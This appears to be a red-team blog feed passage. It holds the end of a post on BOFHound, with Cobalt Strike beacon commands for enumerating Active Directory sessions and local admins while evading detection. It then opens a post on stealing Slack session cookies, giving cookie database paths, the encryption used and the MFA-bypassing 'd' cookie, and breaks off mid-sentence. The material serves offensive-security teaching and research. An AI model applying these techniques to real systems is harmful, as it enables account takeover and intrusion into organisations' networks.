srcset="https://substackcdn.com/image/fetch/$s_!Plao!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 424w, https://substackcdn.com/image/fetch/$s_!Plao!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 848w, https://substackcdn.com/image/fetch/$s_!Plao!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 1272w, https://substackcdn.com/image/fetch/$s_!Plao!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Plao!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png" width="1000" height="599" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/add060e3-5101-4439-a6ad-3695d94990e3_1000x599.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:599,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Plao!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 424w, https://substackcdn.com/image/fetch/$s_!Plao!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 848w, https://substackcdn.com/image/fetch/$s_!Plao!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 1272w, https://substackcdn.com/image/fetch/$s_!Plao!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 14&#8202;&#8212;&#8202;Empty Session and Local Admin&nbsp;Counts</figcaption></figure></div><p>We can add some local data to this object by querying sessions with regsession and the local admins group with netLocalGroupListMembers2.</p><pre><code>beacon&gt; regsession oxenfurt.redania.local
&#8230;
beacon&gt; netLocalGroupListMembers2 Administrators oxenfurt.redania.local
&#8230;</code></pre><p>Remember that BloodHound session objects are comprised of a user SID and a computer SID. Since we&#8217;re using the regsession, BOF we already have the SIDs of users with sessions. If using <code>netsession2 </code>or <code>netloggedon2</code>, we&#8217;d have to issue an LDAP query for the user object with the corresponding <code>sAMAccountName </code>attribute. We will have to do this on the computer side to obtain the computer SID, and also to have a computer object to attach the session and local group data to. The last minimum requirement for this to work is the related domain object, so we&#8217;ll query that as well.</p><pre><code>beacon&gt; ldapsearch (samaccountname=oxenfurt$)
&#8230;
beacon&gt; ldapsearch (objectclass=domain)
&#8230;</code></pre><p>The logs generated by those actions contain 1 computer object, 1 domain object, 3 registry sessions and 3 local group memberships for BOFHound to parse (Figure 15).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mk6l!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mk6l!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 424w, https://substackcdn.com/image/fetch/$s_!Mk6l!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 848w, https://substackcdn.com/image/fetch/$s_!Mk6l!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 1272w, https://substackcdn.com/image/fetch/$s_!Mk6l!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mk6l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png" width="1000" height="482" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:482,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mk6l!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 424w, https://substackcdn.com/image/fetch/$s_!Mk6l!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 848w, https://substackcdn.com/image/fetch/$s_!Mk6l!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 1272w, https://substackcdn.com/image/fetch/$s_!Mk6l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe044595f-7aad-46a7-bc4c-7d209ca29808_1000x482.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 15&#8202;&#8212;&#8202;Supplemental Session Data&nbsp;Parsing</figcaption></figure></div><p>BOFHound will generate several JSON files as a result, but the only one we need to upload is the computers JSON file. After uploading it to BHCE, a second look at the <em>OXENFURT</em> computer shows the sessions and local admins we manually enumerated (Figure 16).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VAqT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VAqT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 424w, https://substackcdn.com/image/fetch/$s_!VAqT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 848w, https://substackcdn.com/image/fetch/$s_!VAqT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 1272w, https://substackcdn.com/image/fetch/$s_!VAqT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VAqT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png" width="1000" height="572" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:572,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VAqT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 424w, https://substackcdn.com/image/fetch/$s_!VAqT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 848w, https://substackcdn.com/image/fetch/$s_!VAqT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 1272w, https://substackcdn.com/image/fetch/$s_!VAqT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69669521-ea25-49b1-8130-032fb3e5387d_1000x572.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 16&#8202;&#8212;&#8202;Manual Addition of Session &amp; Local Group&nbsp;Data</figcaption></figure></div><p>In small enough doses, this approach could provide valuable additions to the <code>DCOnly</code> data for pathfinding, while helping avoid the indicators of a full SharpHound session pull.</p><h3>Conclusion</h3><p>BOFHound previously served as a solid component of manual approaches to approximate SharpHound&#8217;s data collection; however, one of the major missing pieces was the ability to manually enumerate session data and local group data and process those alongside LDAP search results to approximate a more complete SharpHound collection. In this post, we examined several new(ish) BOFHound-compatible BOFs and usage examples, that allow an operator to take a manual and targeted approach to attack path mapping that relies on BloodHound&#8217;s <code>HasSession</code> and <code>AdminTo</code> edges.</p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Abusing Slack for Offensive Operations: Part 2]]></title><description><![CDATA[When I first started diving into offensive Slack access, one of the best public resources I found was a blog post by Cody Thomas from back in 2020 (which I highly recommend giving a read).]]></description><link>https://blog.tw1sm.io/p/abusing-slack-for-offensive-operations</link><guid isPermaLink="false">https://blog.tw1sm.io/p/abusing-slack-for-offensive-operations</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Fri, 10 Nov 2023 23:24:56 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/2527611b-c471-469f-a70e-6e665e84a572_1536x1069.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When I first started diving into offensive Slack access, one of the best public resources I found was a<a href="https://posts.specterops.io/abusing-slack-for-offensive-operations-2343237b9282"> blog post</a> by<a href="https://twitter.com/its_a_feature_"> Cody Thomas</a> from back in 2020 (which I highly recommend giving a read). This follow-up post aims to take a look at changes Slack has implemented since Cody&#8217;s post and reexamine avenues to achieving Slack access from ceded access on both macOS and Windows hosts.</p><h4>What&#8217;s Changed Since&nbsp;2020?</h4><p>The biggest change Slack has made since Cody&#8217;s original post involves cookie encryption (at least on macOS). Back in 2020, the macOS Slack cookies database contained cleartext cookies, which meant an attacker with disk access could steal the database file and place it on another host where the attacker&#8217;s local Slack application could replay the cookies.</p><p>On macOS, the cookie values are now encrypted with a key named <code>Slack Safe Storage</code>, which is stored in the user&#8217;s login Keychain. On Windows, the cookies are encrypted by a data protection API (DPAPI) key.</p><p>The SQLite cookies database can be found at:</p><ul><li><p><code>%APPDATA%\Slack\Network\Cookies</code> (Windows)</p></li><li><p><code>~/Library/Application Support/Slack/Default/Cookies</code> (macOS)</p></li></ul><p>Additionally, some of the files containing Slack user metadata have been consolidated into a single file:</p><ul><li><p><code>%APPDATA%\Slack\storage\root-state.json</code> (Windows, Figure 1)</p></li><li><p><code>~/Library/Application Support/Slack/storage/root-state.json</code> (macOS)</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uFLW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uFLW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 424w, https://substackcdn.com/image/fetch/$s_!uFLW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 848w, https://substackcdn.com/image/fetch/$s_!uFLW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 1272w, https://substackcdn.com/image/fetch/$s_!uFLW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uFLW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png" width="1000" height="302" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:302,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uFLW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 424w, https://substackcdn.com/image/fetch/$s_!uFLW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 848w, https://substackcdn.com/image/fetch/$s_!uFLW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 1272w, https://substackcdn.com/image/fetch/$s_!uFLW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F449f5f8e-7c28-459d-81fb-c86052b19492_1000x302.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 1 &#8211;Root-State Workspace Info</figcaption></figure></div><p>This file contains JSON content detailing Slack UI settings, metadata for files downloaded through Slack, and workspaces the user is signed into.</p><h4>Cookie Theft on Windows&nbsp;Hosts</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Fr9E!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Fr9E!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Fr9E!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Fr9E!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Fr9E!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Fr9E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg" width="525" height="475" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d110c433-361a-44e6-9619-74678beabef4_525x475.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:475,&quot;width&quot;:525,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Fr9E!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Fr9E!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Fr9E!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Fr9E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd110c433-361a-44e6-9619-74678beabef4_525x475.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">I&#8217;m All&nbsp;Ears</figcaption></figure></div><p>Since Slack stores its cookies in a SQLite database with the same database schema as Chrome, it <em>shouldn&#8217;t</em> be too hard to modify a tool like<a href="https://github.com/GhostPack/SharpDPAPI"> SharpDPAPI&#8217;s</a> SharpChrome to accommodate Slack cookie retrieval (shoutout to <a href="https://twitter.com/tifkin_">Lee Christensen</a> for doubling back and actually implementing Slack support in this <a href="https://github.com/GhostPack/SharpDPAPI/pull/32">pull request</a>). However, unlike the Chrome cookies database, which is likely storing <em>many</em> cookies we care about, the Slack cookies database only contains a <em>single </em>cookie we&#8217;re interested in.</p><p>To log into a user&#8217;s Slack without their password (regardless of multi-factor authentication [MFA]) we just need the <code>d</code> cookie&#8202;&#8212;&#8202; a value with the static prefix 